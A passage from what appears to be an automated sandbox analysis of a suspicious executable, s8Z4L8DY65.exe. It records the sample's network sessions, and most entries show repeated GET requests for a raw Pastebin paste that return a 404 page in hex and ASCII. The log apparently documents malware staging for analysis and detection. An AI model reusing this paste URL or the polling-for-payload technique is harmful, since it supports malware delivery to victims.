user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	54852	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:19 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:19 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 123 Server: cloudflare CF-RAY: 89cf56badf2d78ed-EWR
2024-07-02 14:31:19 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	54853	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:20 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:20 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 124 Server: cloudflare CF-RAY: 89cf56beda7b7cb2-EWR
2024-07-02 14:31:20 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	54854	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:20 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:21 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 124 Server: cloudflare CF-RAY: 89cf56c32c3e7c7c-EWR
2024-07-02 14:31:21 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	54855	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:21 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:21 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 125 Server: cloudflare CF-RAY: 89cf56c85dea19cb-EWR
2024-07-02 14:31:21 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	54856	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:22 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:22 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 126 Server: cloudflare CF-RAY: 89cf56cc3b5241f9-EWR
2024-07-02 14:31:22 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	54857	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:22 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:22 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 126 Server: cloudflare CF-RAY: 89cf56d03e1e0f3a-EWR
2024-07-02 14:31:22 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	54858	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:23 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:23 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 127 Server: cloudflare CF-RAY: 89cf56d51967c477-EWR
2024-07-02 14:31:23 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	54859	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:24 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:24 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 128 Server: cloudflare CF-RAY: 89cf56d93d075e79-EWR
2024-07-02 14:31:24 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	54860	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:24 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:25 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 129 Server: cloudflare CF-RAY: 89cf56dd388d1a2c-EWR
2024-07-02 14:31:25 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	54861	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:25 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:25 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 129 Server: cloudflare CF-RAY: 89cf56e12ec14238-EWR
2024-07-02 14:31:25 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	54862	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:26 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:26 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 130 Server: cloudflare CF-RAY: 89cf56e52b1a42d4-EWR
2024-07-02 14:31:26 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	54863	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:26 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:26 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 130 Server: cloudflare CF-RAY: 89cf56e90f8e43b0-EWR
2024-07-02 14:31:26 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	54864	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:27 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:27 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 131 Server: cloudflare CF-RAY: 89cf56ecfa0015bb-EWR
